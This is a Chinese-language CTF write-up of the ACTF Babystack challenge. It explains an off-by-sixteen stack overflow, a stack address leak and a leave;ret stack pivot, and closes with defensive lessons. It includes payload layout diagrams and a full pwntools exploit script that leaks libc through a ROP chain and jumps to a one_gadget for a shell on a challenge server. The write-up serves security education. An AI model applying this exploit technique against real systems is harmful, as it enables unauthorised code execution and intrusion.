

ACTF Babystack 漏洞原理与深度利用复盘报告

在 Linux 64位安全挑战中，受限栈溢出（Limited Stack Overflow）是一种极高频出现的实战场景。本报告针对 ACTF Babystack 这一经典题目，结合 IDA 反汇编 C 源码与成功的 Exploit 脚本，进行多维度的底层原理剖析和技术复盘。

一、源码级漏洞成因剖析 (Vulnerability Analysis)

通过观察题目提供的反汇编代码，我们可以清晰地识别出程序员在设计安全边界时犯下的致命错误，以及程序中故意留下的“线索”。

1. 致命的边界检查错误 (Off-by-Sixteen)

在 `main` 函数中，输入长度由 `sub_400A1A()` 控制并存入全局变量 `nbytes` 中：

```
sub_400A1A();
if ( nbytes <= 0xE0 ) // 0xE0 = 224 字节
{
    ...
    read(0, s, nbytes);
    ...
}
```

- **缓冲区大小**：定义为 `_BYTE s[208]`，在栈上的位置是 `[rsp+0h] [rbp-D0h]`。这意味着缓冲区 `s` 距离 `saved RBP` 只有 208 字节（`0xD0`）。
- **检查上限**：代码允许 `nbytes` 最大输入为 `0xE0`（224 字节）。
- **溢出空间计算**：

$$224 \text{ (允许读取)} - 208 \text{ (缓冲区大小)} = 16 \text{ 字节}$$

这 16 字节正好对应了 64 位系统下的：

- `saved RBP`（占 8 字节）
- `RET (返回地址)`（占 8 字节）

由于只有 16 字节的溢出空间，黑客**无法直接在 `RET` 后面拼接长长的 ROP 链**。如果试图写超过 16 字节，`read` 函数又会被边界检查挡掉。

2. 完美的泄露线索 (Stack Leak)

虽然空间受限，但程序提供了一个极其关键的信息：

```
printf("Your message will be saved at %p\n", s);
```

它在向终端打印 `s` 的栈地址 (`stack_addr`)。只要我们能获取到该地址,就意味着**我们掌控了栈迁移的目标基址**。

二、核心技术: 栈迁移 (Stack Pivot) 的微观演变

当溢出空间仅够覆盖 `RBP` 和 `RET` 时, **栈迁移**是唯一解法。其核心逻辑是通过劫持栈指针 `RSP`, 让 CPU 误以为我们写入的缓冲区 (Buffer) 是真正的运行栈。

1. 关键汇编指令解析

在函数即将返回时, 编译器会生成 `leave; ret` 指令。

- `leave` 指令在微观上等价于:

```
mov rsp, rbp    ; 将栈顶指针拉到当前栈底
pop rbp         ; 弹出栈顶的值, 赋给 rbp 寄存器, rsp = rsp + 8
```

- `ret` 指令在微观上等价于:

```
pop rip         ; 弹出当前栈顶的地址, 直接跳转到该地址执行
```

2. 双重 `leave; ret` 连锁反应 (Chain Reaction)

我们在 `RBP` 处填入 `stack_addr`, 在 `RET` 处填入 `leave_ret_gadget` 地址。程序在执行过程中会连续发生两次 `leave; ret`:

第一次 `leave; ret` (程序执行 `main` 函数结尾时天然触发):

- `mov rsp, rbp`: `rsp` 回收到当前的 `rbp`。
- `pop rbp`: 从当前的栈顶 (即我们覆盖 `saved RBP` 的地方) 读取值。由于我们写入了 `stack_addr`, 此时 `rbp` **寄存器的值被成功修改为 `stack_addr`** (指向我们 Buffer 的开头)。
- `ret`: 从栈顶取出返回地址 (即我们写入的 `leave_ret`), 程序跳转执行 `leave_ret` 汇编片段。

第二次 `leave; ret` (程序执行我们写入的 `gadget` 时触发):

- `mov rsp, rbp`: **关键一步!** 此时 `rbp` 已经是 `stack_addr`。执行后, `rsp` (**当前栈顶指针**) 瞬间飞到了我们的 Buffer 首地址!
- `pop rbp`: 当前 `rsp` 指向 Buffer 的头 8 字节。CPU 读取这 8 字节 (我们在 Payload 中垫底的 `b'a'*8` 垃圾数据) 将其塞入 `rbp`。此时 `rsp` 自动自增 8, **指向了 `stack_addr + 8`**。
- `ret`: 取出当前 `rsp` 指向的地址 (即 `stack_addr + 8` 处我们布置的第一个 Gadget 地址, 如 `pop rdi; ret`), 跳转执行。

通过这种“借尸还魂”的方法, 我们在只有 16 字节溢出的情况下, **强行把栈拓宽到了 208 字节的缓冲区内**。

三、两阶段 Payload 内存布局对齐图解

为了更直观地理解，以下是配合你的成功 EXP 脚本，将 Payload 在内存中的排布进行可视化还原。

阶段一：Libc 泄露（横向拓宽 208 字节栈空间）

此阶段的目标是调用 puts(puts_got)，打印动态链接库中 puts 的真实加载地址，最后安全返回 main 函数准备第二轮攻击。

```
栈底低地址 (Buffer 起始地址: stack_addr)
+-----+ <--- [第二次 leave 执行完后, RSP 指向这里]
| 0x00 - 0x07 (8B) : b'a'*8          | (承接第二次 leave 的 pop rbp 垃圾数据)
+-----+ <--- [第二次 ret 执行时, RSP 移动到此, 开始咬住]
| 0x08 - 0x0f (8B) : p64(rdi_addr)   | (pop rdi; ret gadget)
+-----+
| 0x10 - 0x17 (8B) : p64(puts_got)   | (作为参数赋给 RDI 寄存器)
+-----+
| 0x18 - 0x1f (8B) : p64(puts_plt)   | (调用 puts@plt 泄露地址)
+-----+
| 0x20 - 0x27 (8B) : p64(main_addr)  | (执行完 puts 后返回 main 函数起点, 开启 Stag
+-----+
| 0x28 - 0xcf (168B): b'a' * 168     | (垃圾数据填充, 精准顶到边界)
+-----+ <--- [第一轮 RBP 位置]
| 0xd0 - 0xd7 (8B) : p64(stack_addr) | (写入我们泄露得到的栈地址, 劫持 RBP)
+-----+ <--- [第一轮 RET 返回地址]
| 0xd8 - 0xdf (8B) : p64(leave_ret)  | (写入 leave; ret 的 gadget, 劫持返回地址)
+-----+
栈高地址
```

阶段二：One Gadget 劫持（精准一击必杀）

当利用第一阶段成功拿到 puts 真实地址后，脚本通过 LibcSearcher 确认了 libc 版本并计算出 libc_base。第二阶段只需要将执行流直接引向极其便利的 One Gadget 即可。

```
栈底低地址 (新一轮 Buffer 起始地址: stack_addr)
+-----+ <--- [第二次 leave 执行完后, RSP 指向这里]
| 0x00 - 0x07 (8B) : b'a'*8          | (承接第二次 leave 的 pop rbp 垃圾数据)
+-----+ <--- [第二次 ret 执行时, RSP 移动到此]
| 0x08 - 0x0f (8B) : p64(execv)       | (One Gadget 地址: libc_base + 0x4f2c5)
+-----+
| 0x10 - 0xcf (192B): b'a' * 192     | (垃圾数据填充, 精准顶到边界)
+-----+ <--- [第二轮 RBP 位置]
| 0xd0 - 0xd7 (8B) : p64(stack_addr) | (写入第二轮读入的新栈地址, 劫持 RBP)
+-----+ <--- [第二轮 RET 返回地址]
| 0xd8 - 0xdf (8B) : p64(leave_ret)  | (写入 leave; ret 的 gadget, 劫持返回地址)
+-----+
栈高地址
```

四、成功 Exploit 脚本全流程注释与复盘

以下是你成功拿到 Flag 的完整 EXP 脚本。在关键部分已经为你补充了极其详尽的中文架构级注释：

```

from pwn import *
from LibcSearcher import LibcSearcher

# 设置目标架构、系统与日志级别，便于调试时观察寄存器
context(arch='amd64', os='linux', log_level='debug')

# 1. 连接目标服务器
io = connect('node5.buuoj.cn', 29780)

# 2. 定义程序静态分析得到的关键地址
offset = 0xd0          # s 缓冲区的长度: 208 字节 (0xd0)
rdi_addr = 0x400ad3     # pop rdi; ret (用于给 puts 传参)
ret_addr = 0x400709     # 单独的 ret 指令 (常用于栈对齐)
leave_ret = 0x400a18    # leave; ret 指令地址 (实现栈迁移的核心工具)
main_addr = 0x4008f6     # main 函数的起始地址 (方便泄露后返回)

# 3. 提取 ELF 文件中的 GOT 和 PLT 表项
elf = ELF("./pwn")
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

# ===== STAGE 1: 泄露 Libc 真实地址 =====

io.recvuntil(b'>')
io.sendline(b'224')    # 关键输入: 传入 224 (0xE0), 恰好绕过 "nbytes <= 0xE0" 的安全边

# 接收并提取泄露的栈地址 s
io.recvuntil(b'Your message will be saved at')
stack_addr = io.recvline().strip()
stack_addr = int(stack_addr, 16) # 将十六进制字符串转为 int 类型的内存地址
print(f"[*] Leaked Stack Address: {hex(stack_addr)}")

io.recvuntil(b'>')
# 构造第一阶段 Payload:
# - 头 8 字节为垃圾数据 (pop rbp 垫背用)
# - 随后布置 ROP 链: pop rdi; ret -> puts_got -> puts_plt -> main_addr
payload = b'a'*0x8 + p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
# - 用垃圾数据填满 208 字节缓冲区
payload += b'a'*(offset - len(payload))
# - 栈迁移: 覆盖 RBP 为栈地址, 覆盖 RET 为 leave_ret 指令
payload += p64(stack_addr) + p64(leave_ret)

io.send(payload)

# 接收泄露的 puts 在内存中的真实加载地址
io.recvuntil(b'Byebye~\n')
puts_addr = io.recvline().strip()
puts_addr = u64(puts_addr.ljust(8, b'\x00')) # 64位地址补齐并解析
print(f"[*] Leaked Puts Address: {hex(puts_addr)}")

# 4. 利用 LibcSearcher 自动化识别远程 libc 版本并计算基址
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
execv = libc_base + 0x4f2c5 # 经典 glibc-2.23 下的一击必杀 One Gadget
print(f"[*] Calculated Libc Base: {hex(libc_base)}")
print(f"[*] One Gadget (execve) Address: {hex(execv)}")

# ===== STAGE 2: 劫持执行流获取 Shell =====

# 程序已返回 main 函数, 再次执行输入流程

```

```
io.recvuntil(b'>')
io.sendline(b'224')

# 再次接收第二轮的新栈地址（因为 ASLR，每一轮的栈地址可能会有微弱偏移，必须重新接收）
io.recvuntil(b'Your message will be saved at')
stack_addr = io.recvline().strip()
stack_addr = int(stack_addr, 16)
print(f"[*] Stage 2 Leaked Stack Address: {hex(stack_addr)}")

io.recvuntil(b'>')
# 构造第二阶段 Payload:
# - 头 8 字节垃圾数据垫背
# - 直接写入 One Gadget 地址，利用极少的空间实现 Shell 弹出
payload = b'a'*0x8 + p64(execv)
payload += b'a'*(offset - len(payload))
payload += p64(stack_addr) + p64(leave_ret) # 再次触发栈迁移

io.send(payload)

# 5. 成功夺取交互式 Shell，读取 Flag
io.interactive()
```

五、Pwn 进阶反思与安全启示

这道题的设计非常巧妙，在现实安全审计（Security Auditing）中也有很强的借鉴意义：

1. **“假”边界防御的安全隐患：**本题中程序员虽然写了检查 `nbytes <= 0xE0`，但因为混淆了“缓冲区大小（208）”与“安全极限值（224）”，导致防护形同虚设。在编写安全代码时，应当严格使用诸如 `sizeof(s)` 等动态计算，避免硬编码（Hardcode）边界值。
2. **信息泄露（Information Disclosure）的危害：**现代操作系统开启了 ASLR（地址随机化），黑客原本很难预测栈地址。但程序主动将栈地址打印出来，直接打破了 ASLR 带来的安全保护。
3. **One Gadget 的局限性：**One Gadget 虽然极大缩短了 Payload，但它受**环境寄存器约束**（Constraints）。如果本题第二阶段执行崩溃，通常是因为栈布局不满足该 One Gadget 的触发条件。此时可以通过 GDB 动态调试观察 `rsp+0x40` 等位置的值，或寻找备用的其他 One Gadget 偏移。